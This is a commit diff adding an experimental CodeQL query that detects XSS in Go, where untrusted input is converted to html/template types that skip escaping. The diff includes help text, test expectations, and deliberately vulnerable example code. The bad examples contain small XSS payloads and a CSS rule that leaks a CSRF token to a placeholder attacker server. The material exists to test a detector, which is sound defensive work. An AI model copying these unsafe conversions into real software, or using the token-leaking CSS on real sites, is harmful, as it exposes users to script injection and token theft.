mirror of
https://github.com/github/codeql.git
synced 2026-01-30 06:42:57 +01:00
Add CWE-79: HTML template escaping passthrough
This commit is contained in:
28
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
Executable file
28
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
Executable file
@@ -0,0 +1,28 @@
|
||||
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
|
||||
<qhelp>
|
||||
<overview>
|
||||
<p>
|
||||
In Go, the <code>html/template</code> package has a few special types
|
||||
(<code>HTML</code>, <code>HTMLAttr</code>, <code>JS</code>, <code>JSStr</code>, <code>CSS</code>,
|
||||
<code>Srcset</code>, <code>URL</code>)
|
||||
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
|
||||
through.
|
||||
</p>
|
||||
<p>Using them on user-provided values will result in an XSS.</p>
|
||||
</overview>
|
||||
<recommendation>
|
||||
<p>
|
||||
Make sure to never use those types on untrusted content.
|
||||
</p>
|
||||
</recommendation>
|
||||
<example>
|
||||
<p>
|
||||
In the first example you can see the special types and how they are used in a template:
|
||||
</p>
|
||||
<sample src="HTMLTemplateEscapingPassthroughBad.go" />
|
||||
<p>
|
||||
To avoid XSS, all user input should be a normal string type.
|
||||
</p>
|
||||
<sample src="HTMLTemplateEscapingPassthroughGood.go" />
|
||||
</example>
|
||||
</qhelp>
|
||||
108
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
Executable file
108
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
Executable file
@@ -0,0 +1,108 @@
|
||||
/**
|
||||
* @name HTML template escaping passthrough
|
||||
* @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
|
||||
* template, it may result in XSS.
|
||||
* @kind path-problem
|
||||
* @problem.severity warning
|
||||
* @id go/html-template-escaping-passthrough
|
||||
* @tags security
|
||||
* external/cwe/cwe-79
|
||||
*/
|
||||
|
||||
import go
|
||||
import DataFlow::PathGraph
|
||||
|
||||
private class DummySource extends UntrustedFlowSource::Range {
|
||||
DummySource() {
|
||||
exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") |
|
||||
call = fn.getACall() and
|
||||
this = call.getResult()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the provided src node flows into a conversion to a PassthroughType.
|
||||
*/
|
||||
predicate isConvertedToPassthroughType(
|
||||
DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink
|
||||
) {
|
||||
exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source |
|
||||
cfg.hasFlowPath(source, conversionSink) and
|
||||
source.getNode() = src and
|
||||
targetType = cfg.getDstTypeName()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the names of the types that will not be escaped when passed to
|
||||
* a `html/template` template.
|
||||
*/
|
||||
string getAPassthroughTypeName() {
|
||||
result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"]
|
||||
}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
|
||||
* is converted into a special type which will not be escaped by the template generator;
|
||||
* this allows the injection of arbitrary content (html, css, js) into the generated
|
||||
* output of the templates.
|
||||
*/
|
||||
class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
|
||||
string dstTypeName;
|
||||
|
||||
ConversionFlowToPassthroughTypeConf() {
|
||||
dstTypeName = getAPassthroughTypeName() and
|
||||
this = "UnsafeConversion" + dstTypeName
|
||||
}
|
||||
|
||||
string getDstTypeName() { result = dstTypeName }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
|
||||
|
||||
predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) {
|
||||
exists(Type typ |
|
||||
typ = sink.getResultType() and
|
||||
typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
|
||||
name = getAPassthroughTypeName()
|
||||
)
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) }
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the the sink is a data value argument of a template execution call.
|
||||
*/
|
||||
predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
|
||||
exists(Method fn, string methodName |
|
||||
fn.hasQualifiedName("html/template", "Template", methodName) and
|
||||
call = fn.getACall()
|
||||
|
|
||||
methodName = "Execute" and sink = call.getArgument(1)
|
||||
or
|
||||
methodName = "ExecuteTemplate" and sink = call.getArgument(2)
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
|
||||
* flows into a template executor call.
|
||||
*/
|
||||
class TemplateExecutionFlowConf extends TaintTracking::Configuration {
|
||||
TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
|
||||
}
|
||||
|
||||
from
|
||||
TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink,
|
||||
string targetTypeName, DataFlow::PathNode conversionSink
|
||||
where
|
||||
cfg.hasFlowPath(source, sink) and
|
||||
isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink)
|
||||
select sink.getNode(), source, sink,
|
||||
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
|
||||
source.getNode(), "untrusted source", conversionSink.getNode(), "converted"
|
||||
70
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
Executable file
70
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
Executable file
@@ -0,0 +1,70 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"html/template"
|
||||
"os"
|
||||
)
|
||||
|
||||
func main() {}
|
||||
func source(s string) string {
|
||||
return s
|
||||
}
|
||||
|
||||
type HTMLAlias = template.HTML
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// bad is an example of a bad implementation
|
||||
func bad() {
|
||||
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
|
||||
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
|
||||
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
|
||||
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
|
||||
|
||||
{
|
||||
{
|
||||
var a = template.HTML(source(`<a href='example.com'>link</a>`))
|
||||
checkError(tmpl.Execute(os.Stdout, a))
|
||||
}
|
||||
{
|
||||
{
|
||||
var a template.HTML
|
||||
a = template.HTML(source(`<a href='example.com'>link</a>`))
|
||||
checkError(tmpl.Execute(os.Stdout, a))
|
||||
}
|
||||
{
|
||||
var a HTMLAlias
|
||||
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
|
||||
checkError(tmpl.Execute(os.Stdout, a))
|
||||
}
|
||||
}
|
||||
}
|
||||
{
|
||||
var c = template.HTMLAttr(source(`href="https://example.com"`))
|
||||
checkError(tmplTag.Execute(os.Stdout, c))
|
||||
}
|
||||
{
|
||||
var d = template.JS(source("alert({hello: 'world'})"))
|
||||
checkError(tmplScript.Execute(os.Stdout, d))
|
||||
}
|
||||
{
|
||||
var e = template.JSStr(source("setTimeout('alert()')"))
|
||||
checkError(tmplScript.Execute(os.Stdout, e))
|
||||
}
|
||||
{
|
||||
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
|
||||
checkError(tmpl.Execute(os.Stdout, b))
|
||||
}
|
||||
{
|
||||
var f = template.Srcset(source(`evil.jpg 320w`))
|
||||
checkError(tmplSrcset.Execute(os.Stdout, f))
|
||||
}
|
||||
{
|
||||
var g = template.URL(source("javascript:alert(1)"))
|
||||
checkError(tmpl.Execute(os.Stdout, g))
|
||||
}
|
||||
}
|
||||
15
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
Executable file
15
ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
Executable file
@@ -0,0 +1,15 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"html/template"
|
||||
"os"
|
||||
)
|
||||
|
||||
// good is an example of a good implementation
|
||||
func good() {
|
||||
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
|
||||
{ // This will be escaped:
|
||||
var caught = source(`<a href="example.com">link</a>`)
|
||||
checkError(tmpl.Execute(os.Stdout, caught))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
edges
|
||||
| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a |
|
||||
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught |
|
||||
nodes
|
||||
| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g |
|
||||
| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string |
|
||||
| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught |
|
||||
#select
|
||||
| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted |
|
||||
| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted |
|
||||
78
ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
Executable file
78
ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
Executable file
@@ -0,0 +1,78 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"html/template"
|
||||
"os"
|
||||
)
|
||||
|
||||
func main() {}
|
||||
func source(s string) string {
|
||||
return s
|
||||
}
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
type HTMLAlias = template.HTML
|
||||
|
||||
// bad is an example of a bad implementation
|
||||
func bad() {
|
||||
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
|
||||
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
|
||||
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
|
||||
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
|
||||
|
||||
{
|
||||
{
|
||||
var a = template.HTML(source(`<a href='example.com'>link</a>`))
|
||||
checkError(tmpl.Execute(os.Stdout, a))
|
||||
}
|
||||
{
|
||||
{
|
||||
var a template.HTML
|
||||
a = template.HTML(source(`<a href='example.com'>link</a>`))
|
||||
checkError(tmpl.Execute(os.Stdout, a))
|
||||
}
|
||||
{
|
||||
var a HTMLAlias
|
||||
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
|
||||
checkError(tmpl.Execute(os.Stdout, a))
|
||||
}
|
||||
}
|
||||
}
|
||||
{
|
||||
var c = template.HTMLAttr(source(`href="https://example.com"`))
|
||||
checkError(tmplTag.Execute(os.Stdout, c))
|
||||
}
|
||||
{
|
||||
var d = template.JS(source("alert({hello: 'world'})"))
|
||||
checkError(tmplScript.Execute(os.Stdout, d))
|
||||
}
|
||||
{
|
||||
var e = template.JSStr(source("setTimeout('alert()')"))
|
||||
checkError(tmplScript.Execute(os.Stdout, e))
|
||||
}
|
||||
{
|
||||
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
|
||||
checkError(tmpl.Execute(os.Stdout, b))
|
||||
}
|
||||
{
|
||||
var f = template.Srcset(source(`evil.jpg 320w`))
|
||||
checkError(tmplSrcset.Execute(os.Stdout, f))
|
||||
}
|
||||
{
|
||||
var g = template.URL(source("javascript:alert(1)"))
|
||||
checkError(tmpl.Execute(os.Stdout, g))
|
||||
}
|
||||
}
|
||||
|
||||
// good is an example of a good implementation
|
||||
func good() {
|
||||
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
|
||||
{ // This will be escaped:
|
||||
var caught = source(`<a href="example.com">link</a>`)
|
||||
checkError(tmpl.Execute(os.Stdout, caught))
|
||||
}
|
||||
}
|
||||
1
ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
Executable file
1
ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
Executable file
@@ -0,0 +1 @@
|
||||
experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
|
||||
Reference in New Issue
Block a user